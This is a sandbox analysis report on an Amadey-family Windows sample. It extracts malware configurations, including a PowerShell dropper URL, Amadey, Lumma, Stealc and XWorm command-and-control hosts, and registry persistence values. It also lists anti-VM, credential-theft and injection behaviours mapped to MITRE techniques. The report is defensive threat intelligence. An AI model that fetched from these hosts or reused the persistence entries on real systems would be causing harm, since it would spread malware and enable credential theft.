amadey | 4b0af09e9ed2bcf3ad65397911edc6a6b81f6ff024c3f038778e53e1bd7b692d

Analysis

max time kernel
210s
max time network
218s
platform
windows11-21h2_x64
resource
win11-20250217-de
resource tags

arch:x64arch:x86image:win11-20250217-delocale:de-deos:windows11-21h2-x64systemwindows
submitted
10/03/2025, 16:11

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

download.php.exe
Size

5.4MB
MD5

fb66ef21a53f5703ffeda9c9824385ea
SHA1

6f23f367656775e523ec0741c44d8597294d41f3
SHA256

4b0af09e9ed2bcf3ad65397911edc6a6b81f6ff024c3f038778e53e1bd7b692d
SHA512

28ea203b23e7cdd274b4411a2e21941a6d80ecd9e82c85a9a63db9928101533e1703237e0f95b031557cc045348d426e8789dc1ed6c89eba0ab20d3ab11b1f38
SSDEEP

98304:B/aLY3DFL+5yzYp5SZK5XkGAAT5swGAcgxlyFV2R+T2ra+y8BALTb6CHobBZbR1j:FMch+5yzYpMK5XaAT5swGAcgxly2GY7r

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

http://176.113.115.6

Attributes

install_dir
bb556cff4a
install_file
rapes.exe
strings_key
a131b127e996a898cd19ffb2d92e481b
url_paths
/Ni9kiput/index.php

rc4.plain

Extracted

Family

lumma

https://defaulemot.run/api

https://-featureccus.shop/api

https://mrodularmall.top/api

https://jowinjoinery.icu/api

https://legenassedk.top/api

https://htardwarehu.icu/api

https://cjlaspcorne.icu/api

https://bugildbett.top/api

https://latchclan.shop/api

https://socialsscesforum.icu/api

https://hardswarehub.today/api

https://gadgethgfub.icu/api

https://hardrwarehaven.run/api

https://techmindzs.live/api

https://codxefusion.top/api

https://quietswtreams.life/api

https://techspherxe.top/api

https://earthsymphzony.today/api

https://modelshiverd.icu/api

https://begindecafer.world/api

Extracted

Family

stealc

Botnet

trump

http://45.93.20.28

Attributes

url_path
/85a1cacf11314eb8.php

Extracted

Family

xworm

Version

5.0

httpss.myvnc.com:1908

Mutex

0YhsvkITWaWpnEAX

Attributes

install_file
USB.exe

aes.plain

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Amadey family
amadey
DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat
Dcrat family
dcrat

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/48880-969-0x0000000000400000-0x000000000040E000-memory.dmp	family_xworm

Detects Healer an antivirus disabler dropper 2 IoCs

resource	yara_rule
behavioral2/memory/116000-1155-0x0000000000560000-0x00000000009AA000-memory.dmp	healer
behavioral2/memory/116000-1156-0x0000000000560000-0x00000000009AA000-memory.dmp	healer

GCleaner
GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.
loader gcleaner
Gcleaner family
gcleaner
Healer
Healer an antivirus disabler dropper.
dropper healer
Healer family
healer
Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Lumma family
lumma

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3449935180-2903586757-2462874082-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe,C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SSD.exe,"	reg.exe

Stealc
Stealc is an infostealer written in C++.
stealer stealc
Stealc family
stealc
StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 1 IoCs

resource	yara_rule
behavioral2/memory/42996-627-0x0000000000E30000-0x0000000000E6C000-memory.dmp	family_stormkitty

Stormkitty family
stormkitty
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

DCRat payload 4 IoCs

rat

resource	yara_rule
behavioral2/memory/3056-344-0x0000000000400000-0x00000000004BC000-memory.dmp	family_dcrat_v2
behavioral2/files/0x001900000002aede-345.dat	family_dcrat_v2
behavioral2/memory/4912-348-0x0000000000430000-0x00000000004BA000-memory.dmp	family_dcrat_v2
behavioral2/memory/932-495-0x0000000000400000-0x00000000004BC000-memory.dmp	family_dcrat_v2

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 14 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempQJXDMUAK1VQDMVKEMI6MUDUJDKL2NXLN.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	483d2fa8a0d53818306efeb32d3.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	311d2f366d.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	1Z46i3.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	2Q0510.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Process not Found
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Process not Found
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Process not Found
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	50JLMSG0XVA8KYMHWH1KGJ8044EV1.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	3B05c.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	cuFIzyH.exe

Blocklisted process makes network request 4 IoCs

flow	pid	Process
32	4084	wscript.exe
37	3540	powershell.exe
39	1780	powershell.exe
61	2888	wscript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3540	powershell.exe
1780	powershell.exe
3244	powershell.exe
1908	powershell.exe
1296	powershell.exe
41376	Process not Found
2140	powershell.exe

Downloads MZ/PE file 20 IoCs

flow	pid	Process
42	1840	rapes.exe
10	1840	rapes.exe
10	1840	rapes.exe
10	1840	rapes.exe
10	1840	rapes.exe
10	1840	rapes.exe
10	1840	rapes.exe
10	1840	rapes.exe
61	2888	wscript.exe
37	3540	powershell.exe
39	1780	powershell.exe
32	4084	wscript.exe
44	4828	BitLockerToGo.exe
63	1840	rapes.exe
63	1840	rapes.exe
63	1840	rapes.exe
63	1840	rapes.exe
63	1840	rapes.exe
64	27924	Process not Found
9	3012	2Q0510.exe

Uses browser remote debugging 2 TTPs 5 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
115092	Process not Found
113368	Process not Found
110492	Process not Found
110344	Process not Found
114972	Process not Found

.NET Reactor proctector 2 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral2/files/0x001c00000002afd1-921.dat	net_reactor
behavioral2/memory/98176-929-0x0000000000ED0000-0x0000000000F30000-memory.dmp	net_reactor

Checks BIOS information in registry 2 TTPs 28 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	1Z46i3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	50JLMSG0XVA8KYMHWH1KGJ8044EV1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	50JLMSG0XVA8KYMHWH1KGJ8044EV1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	cuFIzyH.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	311d2f366d.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2Q0510.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	2Q0510.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3B05c.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	cuFIzyH.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempQJXDMUAK1VQDMVKEMI6MUDUJDKL2NXLN.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	483d2fa8a0d53818306efeb32d3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	1Z46i3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3B05c.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	483d2fa8a0d53818306efeb32d3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	311d2f366d.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempQJXDMUAK1VQDMVKEMI6MUDUJDKL2NXLN.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Process not Found

Drops startup file 3 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SSD.exe	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SSD.exe	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SSD.exe	cmd.exe

Executes dropped EXE 64 IoCs

pid	Process
4548	G2C28.exe
3616	1Z46i3.exe
1840	rapes.exe
3012	2Q0510.exe
3628	50JLMSG0XVA8KYMHWH1KGJ8044EV1.exe
1340	3B05c.exe
1492	rapes.exe
464	HHPgDSI.exe
4780	cuFIzyH.exe
3348	P2SXMuh.exe
3368	P2SXMuh.exe
4080	0uzaP1a.exe
2964	Security Protection Windows.pif
3212	OpenCL.pif
2364	fc63c6fe6e.exe
1948	6z1l5Yn.exe
4672	TempQJXDMUAK1VQDMVKEMI6MUDUJDKL2NXLN.EXE
2852	8p5Lrev.exe
3056	8p5Lrev.exe
392	I4LJuVm5zF.exe
4912	1FzvmKAYy9.exe
4004	483d2fa8a0d53818306efeb32d3.exe
1660	winlogon.exe
3456	rapes.exe
1220	311d2f366d.exe
2852	SSD.exe
5040	41c0ba3166.exe
560	41c0ba3166.exe
4916	41c0ba3166.exe
4896	41c0ba3166.exe
3548	41c0ba3166.exe
1232	8p5Lrev.exe
932	8p5Lrev.exe
1340	SzfobsaXM4.exe
4976	AJjLej3NgS.exe
1440	6z1l5Yn.exe
3016	0uzaP1a.exe
5104	P2SXMuh.exe
3132	P2SXMuh.exe
3712	P2SXMuh.exe
1592	P2SXMuh.exe
2916	P2SXMuh.exe
404	P2SXMuh.exe
3268	P2SXMuh.exe
3736	P2SXMuh.exe
1096	P2SXMuh.exe
3504	P2SXMuh.exe
5076	P2SXMuh.exe
2940	P2SXMuh.exe
3852	P2SXMuh.exe
896	P2SXMuh.exe
4604	P2SXMuh.exe
3040	P2SXMuh.exe
5060	P2SXMuh.exe
3252	P2SXMuh.exe
2480	P2SXMuh.exe
1484	P2SXMuh.exe
4508	P2SXMuh.exe
3860	P2SXMuh.exe
4984	P2SXMuh.exe
420	P2SXMuh.exe
1284	P2SXMuh.exe
2020	P2SXMuh.exe
4448	P2SXMuh.exe

Identifies Wine through registry keys 2 TTPs 14 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3449935180-2903586757-2462874082-1000\Software\Wine	1Z46i3.exe
Key opened	\REGISTRY\USER\S-1-5-21-3449935180-2903586757-2462874082-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3449935180-2903586757-2462874082-1000\Software\Wine	3B05c.exe
Key opened	\REGISTRY\USER\S-1-5-21-3449935180-2903586757-2462874082-1000\Software\Wine	cuFIzyH.exe
Key opened	\REGISTRY\USER\S-1-5-21-3449935180-2903586757-2462874082-1000\Software\Wine	TempQJXDMUAK1VQDMVKEMI6MUDUJDKL2NXLN.EXE
Key opened	\REGISTRY\USER\S-1-5-21-3449935180-2903586757-2462874082-1000\Software\Wine	483d2fa8a0d53818306efeb32d3.exe
Key opened	\REGISTRY\USER\S-1-5-21-3449935180-2903586757-2462874082-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3449935180-2903586757-2462874082-1000\Software\Wine	311d2f366d.exe
Key opened	\REGISTRY\USER\S-1-5-21-3449935180-2903586757-2462874082-1000\Software\Wine	2Q0510.exe
Key opened	\REGISTRY\USER\S-1-5-21-3449935180-2903586757-2462874082-1000\Software\Wine	50JLMSG0XVA8KYMHWH1KGJ8044EV1.exe
Key opened	\REGISTRY\USER\S-1-5-21-3449935180-2903586757-2462874082-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3449935180-2903586757-2462874082-1000\Software\Wine	Process not Found
Key opened	\REGISTRY\USER\S-1-5-21-3449935180-2903586757-2462874082-1000\Software\Wine	Process not Found
Key opened	\REGISTRY\USER\S-1-5-21-3449935180-2903586757-2462874082-1000\Software\Wine	Process not Found

Loads dropped DLL 6 IoCs

pid	Process
69972	Process not Found
69972	Process not Found
69972	Process not Found
70412	Process not Found
70412	Process not Found
70412	Process not Found

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3449935180-2903586757-2462874082-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Process not Found
Key opened	\REGISTRY\USER\S-1-5-21-3449935180-2903586757-2462874082-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Process not Found
Key opened	\REGISTRY\USER\S-1-5-21-3449935180-2903586757-2462874082-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Process not Found

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	download.php.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	G2C28.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3449935180-2903586757-2462874082-1000\Software\Microsoft\Windows\CurrentVersion\Run\fc63c6fe6e.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10167640101\\fc63c6fe6e.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3449935180-2903586757-2462874082-1000\Software\Microsoft\Windows\CurrentVersion\Run\am_no.cmd = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10167650121\\am_no.cmd"	rapes.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
66	ipinfo.io
46	ipinfo.io

AutoIT Executable 2 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral2/files/0x001b00000002aeba-172.dat	autoit_exe
behavioral2/files/0x001900000002afff-1076.dat	autoit_exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

pid	Process
97768	Process not Found
96836	Process not Found

Suspicious use of NtSetInformationThreadHideFromDebugger 14 IoCs

pid	Process
3616	1Z46i3.exe
1840	rapes.exe
3012	2Q0510.exe
3628	50JLMSG0XVA8KYMHWH1KGJ8044EV1.exe
1340	3B05c.exe
1492	rapes.exe
4780	cuFIzyH.exe
4672	TempQJXDMUAK1VQDMVKEMI6MUDUJDKL2NXLN.EXE
4004	483d2fa8a0d53818306efeb32d3.exe
3456	rapes.exe
1220	311d2f366d.exe
42388	Process not Found
52304	Process not Found
58840	Process not Found

Suspicious use of SetThreadContext 9 IoCs

description	pid	Process	procid_target
PID 3348 set thread context of 3368	3348	P2SXMuh.exe	93
PID 2852 set thread context of 3056	2852	8p5Lrev.exe	134
PID 1220 set thread context of 4828	1220	311d2f366d.exe	148
PID 5040 set thread context of 4916	5040	41c0ba3166.exe	152
PID 5040 set thread context of 3548	5040	41c0ba3166.exe	154
PID 1232 set thread context of 932	1232	8p5Lrev.exe	161
PID 70412 set thread context of 70356	70412	Process not Found	8507
PID 98176 set thread context of 96840	98176	Process not Found	11923
PID 98176 set thread context of 97844	98176	Process not Found	11927

UPX packed file 11 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x001900000002aeb6-118.dat	upx
behavioral2/memory/4080-127-0x0000000000950000-0x0000000000BEC000-memory.dmp	upx
behavioral2/memory/4080-131-0x0000000000950000-0x0000000000BEC000-memory.dmp	upx
behavioral2/files/0x001900000002aec1-137.dat	upx
behavioral2/memory/2964-138-0x00000000006D0000-0x0000000000B76000-memory.dmp	upx
behavioral2/memory/2964-251-0x00000000006D0000-0x0000000000B76000-memory.dmp	upx
behavioral2/memory/3016-528-0x0000000000C40000-0x0000000000EDC000-memory.dmp	upx
behavioral2/memory/3016-532-0x0000000000C40000-0x0000000000EDC000-memory.dmp	upx
behavioral2/memory/2964-537-0x00000000006D0000-0x0000000000B76000-memory.dmp	upx
behavioral2/memory/6496-554-0x00000000006E0000-0x0000000000B86000-memory.dmp	upx
behavioral2/memory/6496-590-0x00000000006E0000-0x0000000000B86000-memory.dmp	upx

Drops file in Program Files directory 8 IoCs

description	ioc	Process
File created	C:\Program Files\Microsoft Office 15\csrss.exe	1FzvmKAYy9.exe
File opened for modification	C:\Program Files\Microsoft Office 15\csrss.exe	1FzvmKAYy9.exe
File created	C:\Program Files\Microsoft Office 15\886983d96e3d3e	1FzvmKAYy9.exe
File created	C:\Program Files\WindowsApps\Microsoft.MicrosoftEdge.Stable_90.0.818.66_neutral__8wekyb3d8bbwe\microsoft.system.package.metadata\conhost.exe	1FzvmKAYy9.exe
File created	C:\Program Files (x86)\Internet Explorer\it-IT\SppExtComObj.exe	1FzvmKAYy9.exe
File created	C:\Program Files (x86)\Internet Explorer\it-IT\e1ef82546f0b02	1FzvmKAYy9.exe
File created	C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\sihost.exe	1FzvmKAYy9.exe
File created	C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\66fc9ff0ee96c2	1FzvmKAYy9.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Windows\GovernmentsHighly	Process not Found
File opened for modification	C:\Windows\HighKerry	Process not Found
File opened for modification	C:\Windows\PracticalPrevent	Process not Found
File opened for modification	C:\Windows\FilenameWho	Process not Found
File opened for modification	C:\Windows\UpdatedMakeup	Process not Found
File created	C:\Windows\Tasks\rapes.job	1Z46i3.exe
File opened for modification	C:\Windows\PerfectlyFda	Process not Found
File opened for modification	C:\Windows\AccreditationShed	Process not Found
File created	C:\Windows\Tasks\Gxtuum.job	Process not Found

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	Process not Found
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	Process not Found
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	Process not Found
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	Process not Found
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	Process not Found
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	Process not Found
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	Process not Found
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	Process not Found
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	Process not Found

Program crash 2 IoCs

pid	pid_target	Process	procid_target
3372	5040	WerFault.exe	150
98448	98176	Process not Found	11909

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1Z46i3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cuFIzyH.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2Q0510.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	50JLMSG0XVA8KYMHWH1KGJ8044EV1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	6z1l5Yn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	P2SXMuh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fc63c6fe6e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	41c0ba3166.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HHPgDSI.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SSD.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	41c0ba3166.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rapes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	8p5Lrev.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	download.php.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	483d2fa8a0d53818306efeb32d3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	P2SXMuh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	6z1l5Yn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	311d2f366d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	G2C28.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	8p5Lrev.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
